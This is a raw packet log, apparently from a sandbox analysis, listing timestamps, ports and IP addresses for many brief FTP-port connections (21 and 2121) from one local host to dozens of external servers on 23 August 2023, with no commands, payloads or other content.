Aug 23, 2023 09:16:28.958334923 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.960705996 CEST	52144	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.977077961 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.977114916 CEST	52155	2121	192.168.2.3	100.8.96.229
Aug 23, 2023 09:16:28.977196932 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.977315903 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.977380991 CEST	52144	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.977380991 CEST	52144	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.978300095 CEST	52156	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.993554115 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.994508028 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.994579077 CEST	52156	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.006798029 CEST	52157	21	192.168.2.3	197.204.53.114
Aug 23, 2023 09:16:29.052651882 CEST	52070	21	192.168.2.3	196.74.138.22
Aug 23, 2023 09:16:29.052655935 CEST	52071	2121	192.168.2.3	196.74.138.22
Aug 23, 2023 09:16:29.052675009 CEST	52072	21	192.168.2.3	49.166.62.107
Aug 23, 2023 09:16:29.052751064 CEST	52073	2121	192.168.2.3	49.166.62.107
Aug 23, 2023 09:16:29.063667059 CEST	21	52119	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:29.064820051 CEST	21	52119	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:29.065560102 CEST	52119	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:29.071094990 CEST	2121	52150	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.071644068 CEST	52150	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.084064960 CEST	52077	21	192.168.2.3	188.237.205.74
Aug 23, 2023 09:16:29.088447094 CEST	21	52132	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:29.088849068 CEST	52132	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:29.103369951 CEST	2121	52150	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.104878902 CEST	2121	52150	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.105170965 CEST	52150	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.105508089 CEST	21	52097	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:29.116355896 CEST	21	52153	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:29.116504908 CEST	52153	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:29.140423059 CEST	2121	52150	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.140748978 CEST	52150	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.162055016 CEST	52079	2121	192.168.2.3	188.237.205.74
Aug 23, 2023 09:16:29.173259974 CEST	2121	52150	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.173672915 CEST	2121	52150	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.173882961 CEST	52150	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.173963070 CEST	52150	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.174572945 CEST	52158	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.190102100 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.190514088 CEST	52156	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.205740929 CEST	2121	52150	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.206533909 CEST	2121	52158	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.206784010 CEST	52158	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.206856012 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.207288027 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.208086967 CEST	52156	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.209672928 CEST	52159	2121	192.168.2.3	197.204.53.114
Aug 23, 2023 09:16:29.224791050 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.237399101 CEST	21	52119	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:29.237766027 CEST	52119	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:29.291533947 CEST	52160	21	192.168.2.3	47.149.73.41
Aug 23, 2023 09:16:29.311573029 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.315253973 CEST	52156	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.317434072 CEST	21	52132	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:29.317470074 CEST	21	52132	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:29.317799091 CEST	52132	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:29.320581913 CEST	52161	2121	192.168.2.3	47.149.73.41
Aug 23, 2023 09:16:29.331789970 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.331837893 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.331875086 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.332087040 CEST	52156	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.332168102 CEST	52156	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.333750963 CEST	52162	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.337899923 CEST	21	52153	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:29.338634014 CEST	52153	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:29.350395918 CEST	21	52156	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.350425005 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.350557089 CEST	52162	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.365166903 CEST	52135	2121	192.168.2.3	5.58.156.223
Aug 23, 2023 09:16:29.365616083 CEST	52136	21	192.168.2.3	5.58.156.223
Aug 23, 2023 09:16:29.365624905 CEST	52141	21	192.168.2.3	18.212.131.200
Aug 23, 2023 09:16:29.380809069 CEST	52143	2121	192.168.2.3	18.212.131.200
Aug 23, 2023 09:16:29.380841970 CEST	52082	2121	192.168.2.3	34.87.25.80
Aug 23, 2023 09:16:29.383506060 CEST	52081	21	192.168.2.3	34.87.25.80
Aug 23, 2023 09:16:29.405603886 CEST	2121	52135	5.58.156.223	192.168.2.3
Aug 23, 2023 09:16:29.405646086 CEST	21	52136	5.58.156.223	192.168.2.3
Aug 23, 2023 09:16:29.409475088 CEST	21	52119	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:29.409518003 CEST	21	52119	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:29.409683943 CEST	52119	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:29.410188913 CEST	52163	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:29.410197973 CEST	52119	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:29.415617943 CEST	2121	52158	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.416028023 CEST	52158	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.448308945 CEST	2121	52158	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.450752020 CEST	2121	52158	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.456207991 CEST	52158	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.483576059 CEST	21	52141	18.212.131.200	192.168.2.3
Aug 23, 2023 09:16:29.490181923 CEST	52085	2121	192.168.2.3	182.181.79.167
Aug 23, 2023 09:16:29.490237951 CEST	52084	21	192.168.2.3	182.181.79.167
Aug 23, 2023 09:16:29.492234945 CEST	2121	52158	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.496341944 CEST	52158	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.499588013 CEST	2121	52143	18.212.131.200	192.168.2.3
Aug 23, 2023 09:16:29.529345036 CEST	2121	52158	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.529391050 CEST	2121	52158	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.529521942 CEST	52158	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.529629946 CEST	52158	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.546030045 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.546113014 CEST	21	52132	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:29.552187920 CEST	21	52153	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:29.563416958 CEST	2121	52158	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.566553116 CEST	52132	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:29.566565990 CEST	52162	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.567039013 CEST	52164	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.581919909 CEST	21	52119	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:29.581953049 CEST	21	52163	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:29.582135916 CEST	52163	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:29.582958937 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.583550930 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.587537050 CEST	52162	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.599541903 CEST	2121	52164	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.600135088 CEST	52164	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.604161978 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.699580908 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.700515985 CEST	52162	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.716886044 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.716914892 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.716936111 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.717212915 CEST	52162	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.717214108 CEST	52162	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.723552942 CEST	52165	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.740257025 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.740598917 CEST	52165	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.763577938 CEST	2121	52164	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.764545918 CEST	52164	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.794646978 CEST	21	52132	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:29.794688940 CEST	21	52132	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:29.794940948 CEST	52132	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:29.795176983 CEST	2121	52164	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.795242071 CEST	52132	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:29.795505047 CEST	52166	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:29.796758890 CEST	2121	52164	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.797250986 CEST	52164	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.830754042 CEST	2121	52164	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.886534929 CEST	52164	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.886837959 CEST	21	52163	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:29.887176037 CEST	52163	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:29.918577909 CEST	2121	52164	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.918616056 CEST	2121	52164	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.918747902 CEST	52164	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.918945074 CEST	52164	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.920681000 CEST	52167	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.927607059 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:29.950756073 CEST	2121	52167	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.950810909 CEST	2121	52164	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:29.950887918 CEST	52167	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:29.958976030 CEST	52092	21	192.168.2.3	173.176.172.245
Aug 23, 2023 09:16:29.958985090 CEST	52135	2121	192.168.2.3	5.58.156.223
Aug 23, 2023 09:16:29.959003925 CEST	52093	2121	192.168.2.3	173.176.172.245
Aug 23, 2023 09:16:29.959005117 CEST	52095	2121	192.168.2.3	82.73.193.130
Aug 23, 2023 09:16:29.959013939 CEST	52136	21	192.168.2.3	5.58.156.223
Aug 23, 2023 09:16:29.990432024 CEST	52088	21	192.168.2.3	82.73.193.130
Aug 23, 2023 09:16:29.990433931 CEST	52089	21	192.168.2.3	221.164.227.94
Aug 23, 2023 09:16:29.990473032 CEST	52098	21	192.168.2.3	23.218.132.230
Aug 23, 2023 09:16:29.990504980 CEST	52090	2121	192.168.2.3	221.164.227.94
Aug 23, 2023 09:16:29.998562098 CEST	52165	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:29.998583078 CEST	52168	21	192.168.2.3	189.225.175.160
Aug 23, 2023 09:16:29.998739004 CEST	52170	21	192.168.2.3	50.114.86.160
Aug 23, 2023 09:16:29.998763084 CEST	52169	2121	192.168.2.3	189.225.175.160
Aug 23, 2023 09:16:29.999614000 CEST	2121	52135	5.58.156.223	192.168.2.3
Aug 23, 2023 09:16:29.999658108 CEST	21	52136	5.58.156.223	192.168.2.3
Aug 23, 2023 09:16:30.000996113 CEST	52171	2121	192.168.2.3	50.114.86.160
Aug 23, 2023 09:16:30.003567934 CEST	52172	21	192.168.2.3	41.23.190.40
Aug 23, 2023 09:16:30.006835938 CEST	21	52166	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:30.007088900 CEST	52166	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:30.015583038 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.015630960 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.015896082 CEST	52165	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.023705006 CEST	21	52132	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:30.033605099 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.058841944 CEST	21	52163	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:30.060265064 CEST	21	52163	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:30.093579054 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.100569963 CEST	52163	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:30.101329088 CEST	52165	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.117850065 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.117906094 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.117948055 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.118016958 CEST	52165	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.118247032 CEST	52165	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.119575977 CEST	52173	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.135708094 CEST	21	52165	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.135993958 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.136217117 CEST	52173	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.149122000 CEST	52174	2121	192.168.2.3	41.23.190.40
Aug 23, 2023 09:16:30.153850079 CEST	2121	52167	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.162141085 CEST	52141	21	192.168.2.3	18.212.131.200
Aug 23, 2023 09:16:30.162302017 CEST	52162	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.162379980 CEST	21	52170	50.114.86.160	192.168.2.3
Aug 23, 2023 09:16:30.163145065 CEST	2121	52171	50.114.86.160	192.168.2.3
Aug 23, 2023 09:16:30.176213980 CEST	52167	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.177772999 CEST	52100	2121	192.168.2.3	23.218.132.230
Aug 23, 2023 09:16:30.177814007 CEST	52143	2121	192.168.2.3	18.212.131.200
Aug 23, 2023 09:16:30.179058075 CEST	21	52162	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.206243038 CEST	2121	52167	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.206270933 CEST	2121	52167	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.206645966 CEST	52167	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.219547987 CEST	21	52172	41.23.190.40	192.168.2.3
Aug 23, 2023 09:16:30.219904900 CEST	21	52166	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:30.220385075 CEST	52166	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:30.237366915 CEST	2121	52167	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.237682104 CEST	52167	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.241801023 CEST	52177	2121	192.168.2.3	134.215.24.20
Aug 23, 2023 09:16:30.242078066 CEST	52176	21	192.168.2.3	134.215.24.20
Aug 23, 2023 09:16:30.257628918 CEST	52178	21	192.168.2.3	149.28.161.67
Aug 23, 2023 09:16:30.266801119 CEST	2121	52167	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.267227888 CEST	2121	52167	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.267298937 CEST	52167	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.272617102 CEST	21	52163	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:30.278846979 CEST	21	52141	18.212.131.200	192.168.2.3
Aug 23, 2023 09:16:30.285412073 CEST	52167	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.286720037 CEST	52163	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:30.288356066 CEST	52179	2121	192.168.2.3	149.28.161.67
Aug 23, 2023 09:16:30.288526058 CEST	52180	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.294297934 CEST	2121	52143	18.212.131.200	192.168.2.3
Aug 23, 2023 09:16:30.295409918 CEST	52181	21	192.168.2.3	135.134.187.202
Aug 23, 2023 09:16:30.322958946 CEST	2121	52167	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.323796988 CEST	2121	52180	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.323918104 CEST	52180	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.346297026 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.346729040 CEST	52173	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.362831116 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.363286018 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.363845110 CEST	52173	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.365278959 CEST	52106	21	192.168.2.3	121.171.122.206
Aug 23, 2023 09:16:30.365287066 CEST	52109	2121	192.168.2.3	115.66.76.61
Aug 23, 2023 09:16:30.365288019 CEST	52110	21	192.168.2.3	104.106.166.75
Aug 23, 2023 09:16:30.365303040 CEST	52107	2121	192.168.2.3	121.171.122.206
Aug 23, 2023 09:16:30.365305901 CEST	52108	21	192.168.2.3	115.66.76.61
Aug 23, 2023 09:16:30.365324974 CEST	52111	2121	192.168.2.3	104.106.166.75
Aug 23, 2023 09:16:30.379924059 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.431252956 CEST	21	52166	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:30.431519985 CEST	21	52166	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:30.432159901 CEST	52166	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:30.442964077 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.443258047 CEST	52173	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.457937956 CEST	21	52163	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:30.457982063 CEST	21	52163	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:30.458044052 CEST	52163	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:30.458136082 CEST	52163	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:30.459202051 CEST	52182	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:30.459381104 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.459482908 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.459541082 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.459590912 CEST	52173	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.459785938 CEST	52173	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.461527109 CEST	52183	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.476000071 CEST	21	52173	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.477679968 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.477999926 CEST	52183	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.491882086 CEST	52184	2121	192.168.2.3	135.134.187.202
Aug 23, 2023 09:16:30.499969006 CEST	2121	52174	41.23.190.40	192.168.2.3
Aug 23, 2023 09:16:30.501507998 CEST	2121	52180	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.501883984 CEST	52180	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.530843973 CEST	2121	52180	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.532408953 CEST	2121	52180	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.535954952 CEST	52180	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.552522898 CEST	21	52153	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:30.553379059 CEST	52153	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:30.553939104 CEST	52185	21	192.168.2.3	23.102.236.66
Aug 23, 2023 09:16:30.567718983 CEST	2121	52180	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.568002939 CEST	52180	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.589035034 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.589678049 CEST	52183	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.599754095 CEST	2121	52180	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.599970102 CEST	52180	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.600112915 CEST	2121	52180	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.600177050 CEST	52180	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.600739002 CEST	52186	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.608200073 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.609345913 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.609718084 CEST	52183	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.628392935 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.631311893 CEST	2121	52180	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.631644011 CEST	21	52163	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:30.632860899 CEST	21	52182	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:30.632946014 CEST	52182	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:30.635241032 CEST	2121	52186	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.635332108 CEST	52186	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.646579027 CEST	21	52166	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:30.647325039 CEST	52166	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:30.662182093 CEST	52170	21	192.168.2.3	50.114.86.160
Aug 23, 2023 09:16:30.677771091 CEST	52171	2121	192.168.2.3	50.114.86.160
Aug 23, 2023 09:16:30.720931053 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.721371889 CEST	52183	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.724641085 CEST	52172	21	192.168.2.3	41.23.190.40
Aug 23, 2023 09:16:30.739077091 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.739118099 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.739206076 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.739329100 CEST	52183	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.739394903 CEST	52183	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.740494013 CEST	52187	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.755688906 CEST	21	52183	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.756702900 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.756844044 CEST	52187	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.766828060 CEST	21	52153	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:30.767173052 CEST	21	52153	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:30.767214060 CEST	21	52153	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:30.767282963 CEST	52153	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:30.767402887 CEST	52153	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:30.768079042 CEST	52188	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:30.824314117 CEST	21	52170	50.114.86.160	192.168.2.3
Aug 23, 2023 09:16:30.831979036 CEST	2121	52186	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.832489014 CEST	52186	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.845504045 CEST	2121	52171	50.114.86.160	192.168.2.3
Aug 23, 2023 09:16:30.863847017 CEST	21	52166	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:30.863873959 CEST	21	52166	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:30.863941908 CEST	52166	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:30.864140034 CEST	52166	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:30.866347075 CEST	52189	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:30.867288113 CEST	2121	52186	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.867327929 CEST	2121	52186	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.867584944 CEST	52186	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.902682066 CEST	2121	52186	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.903072119 CEST	52186	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.930320978 CEST	52190	2121	192.168.2.3	23.102.236.66
Aug 23, 2023 09:16:30.930500984 CEST	52191	21	192.168.2.3	65.79.251.19
Aug 23, 2023 09:16:30.936029911 CEST	2121	52186	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.936446905 CEST	52186	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.936481953 CEST	2121	52186	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.936532974 CEST	52186	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.938366890 CEST	52192	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.948117971 CEST	21	52172	41.23.190.40	192.168.2.3
Aug 23, 2023 09:16:30.949712038 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.949999094 CEST	52187	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:30.954503059 CEST	21	52182	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:30.954783916 CEST	52182	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:30.966520071 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.966804981 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:30.967077017 CEST	52187	21	192.168.2.3	46.251.235.80
